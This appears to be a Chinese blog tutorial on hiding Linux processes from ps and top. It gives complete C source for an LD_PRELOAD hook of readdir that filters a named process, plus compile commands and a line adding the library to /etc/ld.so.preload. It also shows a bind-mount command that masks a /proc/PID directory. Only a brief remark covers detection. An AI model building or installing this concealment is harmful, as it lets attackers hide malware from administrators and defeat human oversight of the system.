linux进程隐藏 hook readdir函数挂载覆盖/proc/pid 目录

Bertha 。 2021-09-02 10:44 463阅读 0赞

## 前言 ##

上篇介绍了如何在有源码的情况下，通过 argv\[\] 及 prctl 对进程名及参数进行修改，整篇围绕/proc/pid/目录和 ps、top 命令进行分析，做到了初步隐藏，即修改了 /proc/pid/stat 、/proc/pid/status 、/proc/pid/cmdline 这些文件的信息，使得 ps、top 命令显示了虚假的进程信息；但是还存在一些\*\*缺点\*\*：

1.ps、top 命令还是显示了真实的 pid
    2./proc/pid 目录依然存在，/proc/pid/exe 及/proc/pid/cwd 文件依然暴露了可执行文件的真实路径及名称

所以，为了解决以上缺陷，本篇将介绍以下几种方式对进程进行隐藏

1. 应用层下 hook 函数调用
    2. 挂载覆盖/proc/pid 目录

## PS/TOP 命令工作原理 ##

我们可以使用 strace 命令来了解 PS/TOP 命令的工作原理，strace 命令是一个常用的代码调试工具，它可以跟踪到一个进程产生的系统调用, 包括参数，返回值，执行消耗的时间。

实验系统版本为 ubuntu18 内核版本 Linux ubuntu 5.3.0-28-generic

命令 strace ps 部分显示结果

stat("/proc/1", {st_mode=S_IFDIR|0555, st_size=0, ...}) = 0
    openat(AT_FDCWD, "/proc/1/stat", O_RDONLY) = 6
    read(6, "1 (systemd) S 0 1 1 0 -1 4194560"..., 1024) = 328
    close(6)                                = 0
    openat(AT_FDCWD, "/proc/1/status", O_RDONLY) = 6
    read(6, "Name:\tsystemd\nUmask:\t0000\nState:"..., 1024) = 1024
    read(6, "00000000,00000000,00000000,00000"..., 1024) = 311
    close(6)                                = 0
    stat("/proc/2", {st_mode=S_IFDIR|0555, st_size=0, ...}) = 0
    openat(AT_FDCWD, "/proc/2/stat", O_RDONLY) = 6
    read(6, "2 (kthreadd) S 0 0 0 0 -1 212998"..., 2048) = 150
    close(6)                                = 0
    openat(AT_FDCWD, "/proc/2/status", O_RDONLY) = 6
    read(6, "Name:\tkthreadd\nUmask:\t0000\nState"..., 2048) = 978
    close(6)                                = 0
    stat("/proc/3", {st_mode=S_IFDIR|0555, st_size=0, ...}) = 0
    openat(AT_FDCWD, "/proc/3/stat", O_RDONLY) = 6
    read(6, "3 (rcu_gp) I 2 0 0 0 -1 69238880"..., 2048) = 151
    close(6)                                = 0
    openat(AT_FDCWD, "/proc/3/status", O_RDONLY) = 6
    read(6, "Name:\trcu_gp\nUmask:\t0000\nState:\t"..., 2048) = 969
    close(6)                                = 0

命令 strace top 部分显示结果

openat(AT_FDCWD, "/proc/11433/statm", O_RDONLY) = 9
    read(9, "4679 473 371 263 0 127 0\n", 2048) = 25
    close(9)                                = 0
    openat(AT_FDCWD, "/proc/11433/status", O_RDONLY) = 9
    read(9, "Name:\tstrace\nUmask:\t0022\nState:\t"..., 2048) = 1362
    close(9)                                = 0
    stat("/proc/11435", {st_mode=S_IFDIR|0555, st_size=0, ...}) = 0
    openat(AT_FDCWD, "/proc/11435/stat", O_RDONLY) = 9
    read(9, "11435 (top) R 11433 11433 3407 3"..., 2048) = 322
    close(9)                                = 0
    openat(AT_FDCWD, "/proc/11435/statm", O_RDONLY) = 9
    read(9, "12866 1077 851 25 0 378 0\n", 2048) = 26
    close(9)

从上面的结果我们可以看出，ps/top 命令就是在不断的读取/proc/pid 下的文件信息，再显示出来给我看；

一般先调用 stat() 确认文件状态，再调用 openat() 打开文件句柄，然后 read() 读取内容，最后 close() 关闭；不断重复这一系列动作从而获取进程信息；

当然这些都是系统调用，并不是 ps 源码中直接调用的，ps 源码直接调用的函数其实是**opendir**以及**readdir**，readdir 内部再进行以上这些系统调用。

top 命令的原理与 ps 类似，这里不多介绍，下面进入正题

## 一、应用层下 hook 函数调用实现隐藏 ##

我们这里所要 hook 的对象当然就是**readdir**函数了

这里有两个问题：

> 1.readdir 函数在哪？
> 
> 2. 如何 hook？

\[readdir\]\[https://pubs.opengroup.org/onlinepubs/9699919799/functions/readdir.html\] 在头文件 dirent.h 中声明

头文件：#include <sys/types.h>   
    #include <dirent.h>
    定义：struct dirent * readdir(DIR * dir);
    函数说明：readdir() 返回参数 dir 目录流的下个目录进入点。结构 dirent 定义如下：

struct dirent
    {
    ino_t d_ino; //d_ino 此目录进入点的 inode
    ff_t d_off; //d_off 目录文件开头至此目录进入点的位移
    signed short int d_reclen; //d_reclen _name 的长度, 不包含 NULL 字符
    unsigned char d_type; //d_type d_name 所指的文件类型 d_name 文件名
    har d_name[256];
    };

返回值：成功则返回下个目录进入点. 有错误发生或读取到目录文件尾则返回 NULL.

如何 hook?

我们这里使用的是 ld\_preload 技术，关于此技术可以看我另一篇文章，这里不多介绍

接下来我们正式编写 hook 函数，先以伪代码进行介绍

#define _GNU_SOURCE
    #include <stdio.h>
    #include <dlfcn.h>
    #include <dirent.h>
    #include <string.h>
    #include <unistd.h>
    /* 这里声明一个函数指针，用来存储 readdir 函数原始调用 */
    static struct dirent* (*original_readdir)(DIR*) = NULL;
    /* 这里是我们伪造的 readdir 函数，由于我们的 so 库最早被调用，所以 ps 程序调用 readdir 函数时也就调用了我们的同名函数*/
    struct dirent* readdir(DIR *dirp)                                       
    {   
    /* 使用 dlsym 函数获取 readdir 真正的入口 */
    if(original_readdir == NULL)                                  
    original_readdir = dlsym(RTLD_NEXT, readdir);                                                                                                                                                     
    
    struct dirent* dir;                                                 
    
    /* 这里循环调用原始 readdir 函数 */
    while(1)                                                            
    {                                                                   
    dir = original_readdir(dirp);
    // 判断是否为特定的进程名
    process_name = get_process_name(dir);
    if(process_name=="123456"){
    //是，则继续循环，这样就相当于跳过了特定的进程，不打印信息
    continue；
    }   
    
    break;                                                          
    }                                                                   
    return dir;                                                         
    }

整个流程非常简单，这里引用一段完整的代码：\[github\]\[https://github.com/gianlucaborello/libprocesshider\]

修改 process\_to\_filter 变量为要隐藏的进程即可

#define _GNU_SOURCE
    #include <stdio.h>
    #include <dlfcn.h>
    #include <dirent.h>
    #include <string.h>
    #include <unistd.h>
    /*
    * Every process with this name will be excluded
    */
    static const char* process_to_filter = "evil_script.py";
    /*
    * Get a directory name given a DIR* handle
    */
    static int get_dir_name(DIR* dirp, char* buf, size_t size)
    {
    int fd = dirfd(dirp);
    if(fd == -1) {
    return 0;
    }
    char tmp[64];
    snprintf(tmp, sizeof(tmp), "/proc/self/fd/%d", fd);
    ssize_t ret = readlink(tmp, buf, size);
    if(ret == -1) {
    return 0;
    }
    buf[ret] = 0;
    return 1;
    }
    /*
    * Get a process name given its pid
    */
    static int get_process_name(char* pid, char* buf)
    {
    if(strspn(pid, "0123456789") != strlen(pid)) {
    return 0;
    }
    char tmp[256];
    snprintf(tmp, sizeof(tmp), "/proc/%s/stat", pid);
    
    FILE* f = fopen(tmp, "r");
    if(f == NULL) {
    return 0;
    }
    if(fgets(tmp, sizeof(tmp), f) == NULL) {
    fclose(f);
    return 0;
    }
    fclose(f);
    int unused;
    sscanf(tmp, "%d (%[^)]s", &unused, buf);
    return 1;
    }
    #define DECLARE_READDIR(dirent, readdir)                                \
    static struct dirent* (*original_##readdir)(DIR*) = NULL;               \
    \
    struct dirent* readdir(DIR *dirp)                                       \
    {                                                                       \
    if(original_##readdir == NULL) {                                    \
    original_##readdir = dlsym(RTLD_NEXT, #readdir);               \
    if(original_##readdir == NULL)                                  \
    {                                                               \
    fprintf(stderr, "Error in dlsym: %s\n", dlerror());         \
    }                                                               \
    }                                                                   \
    \
    struct dirent* dir;                                                 \
    \
    while(1)                                                            \
    {                                                                   \
    dir = original_##readdir(dirp);                                 \
    if(dir) {                                                       \
    char dir_name[256];                                         \
    char process_name[256];                                     \
    if(get_dir_name(dirp, dir_name, sizeof(dir_name)) &&        \
    strcmp(dir_name, "/proc") == 0 &&                       \
    get_process_name(dir->d_name, process_name) &&          \
    strcmp(process_name, process_to_filter) == 0) {         \
    continue;                                               \
    }                                                           \
    }                                                               \
    break;                                                          \
    }                                                                   \
    return dir;                                                         \
    }
    DECLARE_READDIR(dirent64, readdir64);
    DECLARE_READDIR(dirent, readdir);

以上代码非常巧妙的运用了宏定义函数以及 \# 号的用法，使得少了很多代码量，同时定义了 64 位版本的 readdir64 以及 readdir 函数。

编译成动态链接库测试

$ gcc -Wall -fPIC -shared -o libprocesshider.so processhider.c -ldl
    $ mv libprocesshider.so /usr/local/lib/
    $ echo /usr/local/lib/libprocesshider.so >> /etc/ld.so.preload

这样一来，ps top 命令就找不到进程的任何踪迹了！

优缺点

优点：相较于通过 argv\[\] 及 prctl 对进程名及参数进行修改，这种方法彻底隐藏了 ps、top 中进程的信息，看不到 pid

缺点：proc 目录下还是会存在我们进程的 pid 目录

## 二、挂载覆盖/proc/pid 目录 ##

利用 mount—bind 将另外一个目录挂载覆盖至/proc/目录下指定进程 ID 的目录，我们知道 ps、top 等工具会读取/proc 目录下获取进程信息，如果将进程 ID 的目录信息覆盖，则原来的进程信息将从 ps 的输出结果中隐匿。

例如隐藏进程 id 为 42 的进程信息：

mount -o bind /empty/dir /proc/42

优缺点：

缺点比较明显

cat /proc/pid/mountinfo 或者 cat /proc/mounts 即可知道是否有利用 mount—bind 将其他目录或文件挂载至/proc 下的进程目录

## 三、总结 ##